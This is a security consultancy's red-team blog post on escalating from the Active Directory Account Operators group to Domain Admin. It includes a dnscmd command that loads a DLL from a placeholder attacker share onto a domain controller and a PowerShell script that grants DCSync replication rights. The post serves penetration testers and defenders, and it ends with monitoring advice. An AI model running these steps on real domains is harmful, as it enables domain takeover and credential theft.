On a recent Red Team engagement, we had compromised a domain and dumped the Active Directory user password hashes. We attempted to pivot into another domain using shared credentials, but no domain administrator accounts shared credentials between the two domains. However, we did identify one account that shared credentials with the target domain which was in the “Account Operators” group, a default Active Directory group that I have flagged in my notes as a candidate for easy privilege escalation to Domain Administrator (DA) privileges.
While I have read several articles describing this potential attack path, there seems to be some confusion over what permissions this account actually has. The goal of this post is to share some details of the Account Operators permissions and describe practical paths to escalating to DA.
A description provided by a Microsoft article, describes the Account Operator default group and the permissions of the group as:
The Account Operators group grants limited account creation privileges to a user. Members of this group can create and modify most types of accounts, including accounts for users, Local groups, and Global groups. Group members can log in locally to domain controllers.
Members of the Account Operators group can’t manage the Administrator user account, the user accounts of administrators, or the Administrators, Server Operators, Account Operators, Backup Operators, or Print Operators groups. Members of this group can’t modify user rights.
The Account Operators group applies to the Windows Server operating system in the Default Active Directory security groups list.
Microsoft
Essentially, Account Operators can do the following:
Using an Active Directory test lab, I tested the most obvious paths to escalation first to ensure that the described permissions actually held true. I created the user “AO” and added their account to the “Account Operators” group:
The default “Administrators” group contains the groups “Domain Admins”, “Enterprise Admins”, and the “Administrator” user. Attempting to modify any of these groups fails with “permission denied” as expected:
Additionally, attempting to modify the password for any of the accounts in these groups fails as well:
One scenario that I saw mentioned elsewhere is modifying subgroups of the Administrators or Domain Admins groups, as the ACL is supposedly not passed down to the subgroup. The group “SecondaryDA” was created as a member of the “Domain Admins” group. Attempting to add any user to this group as the account operator fails, suggesting that the ACL is properly inherited and prevents this method of escalation:
This was tested with all the protected groups with the same results. Interestingly, if a new group is created in a non-default OU (not Users or BUILTIN) and then placed in a protected group, it is initially possible to modify this group as an Account Operator. However, after a period of time (about 5-10 minutes in my test lab) the Access Control List seems to propagate to the subgroup and modification by the Account Operator then fails.
Account Operators can modify user objects for any user that is not a member of one of the protected groups listed above. This means that if you find a user that is not a Domain Admin but has administrative access to a sensitive server, you can simply modify their password and log in as them. For example, you identify ADMIN_john.doe is not a member of any of the protected groups but has local admin access to a server running an IT password manager software, it is possible to compromise their account by resetting their password:
The following default groups have direct paths to DA privileges:
Members of the DNSadmins can modify DNS settings on DNS servers, which are often domain controllers, leading to code execution as SYSTEM on the domain controller. This method requires the following steps:
Add-ADGroupMember -Identity "DNSAdmins" -Members AOdnscmd DC01.test.lab /config /serverlevelplugindll \\[attackerip]\SHARE\dns.dlldnscmd DC01.test.lab /restartFor more information on this attack and constructing the DLL to be used by the DNS service, this abusing dnsadmins post or this dnsadmins post are great examples.
In environments that use Microsoft Exchange, the Exchange Windows Permissions group allows for privilege escalation to DA. Essentially, members of this group have permission to grant themselves DCSync privileges, and this attack path has been determined to be a “Won’t Fix” issue by Microsoft. Read this GitHub article which explains the attack in detail and provides the steps to exploit.
This method is straightforward and consists of two steps:
Add-ADGroupMember -Identity "Exchange Windows Permissions" -Members AO$acl = get-acl "ad:DC=test,DC=local"
$id = [Security.Principal.WindowsIdentity]::GetCurrent()
$user = Get-ADUser -Identity $id.User
$sid = new-object System.Security.Principal.SecurityIdentifier $user.SID
# rightsGuid for the extended right Ds-Replication-Get-Changes-All
$objectguid = new-object Guid 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
$identity = [System.Security.Principal.IdentityReference] $sid
$adRights = [System.DirectoryServices.ActiveDirectoryRights] "ExtendedRight"
$type = [System.Security.AccessControl.AccessControlType] "Allow"
$inheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] "None"
$ace = new-object System.DirectoryServices.ActiveDirectoryAccessRule $identity,$adRights,$type,$objectGuid,$inheritanceType
$acl.AddAccessRule($ace)
# rightsGuid for the extended right Ds-Replication-Get-Changes
$objectguid = new-object Guid 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
$ace = new-object System.DirectoryServices.ActiveDirectoryAccessRule $identity,$adRights,$type,$objectGuid,$inheritanceType
$acl.AddAccessRule($ace)
Set-acl -aclobject $acl "ad:DC=test,DC=local"With some Azure AD configurations, it is possible to exploit the Azure-ADConnect integration service to obtain and decrypt credentials for the Azure AD Replication account, which effectively has DA privileges. This replication method appears to have been hardened in 2020, requiring some additional steps to exploit. See the following links for proof-of-concept code and a detailed description of the attack:
Another way to obtain domain privilege escalation is to modify non-default groups that may have sensitive access. For example, there may be a group called “IT Admins” that is not a member of a protected group, but grants local admin access to numerous high-value servers. This group is an easy target that we can add our own compromised user to or modify the password of an existing user within the group.
The default Account Operators group is often just one step away from Domain Administrator privileges. It allows attackers to change user passwords or group membership for any user or group not within the protected groups. For attackers, this is a useful group to achieve privilege escalation to DA or maintain less obvious persistence within an environment. For Defenders, this group should be monitored, and users within the group should be considered to have DA privileges.
Cyber Advisors specializes in providing fully customizable cyber security solutions & services. Our knowledgeable, highly skilled, talented security experts are here to help design, deliver, implement, manage, monitor, put your defenses to the test, & strengthen your systems - so you don’t have to.
Read more from our technical experts...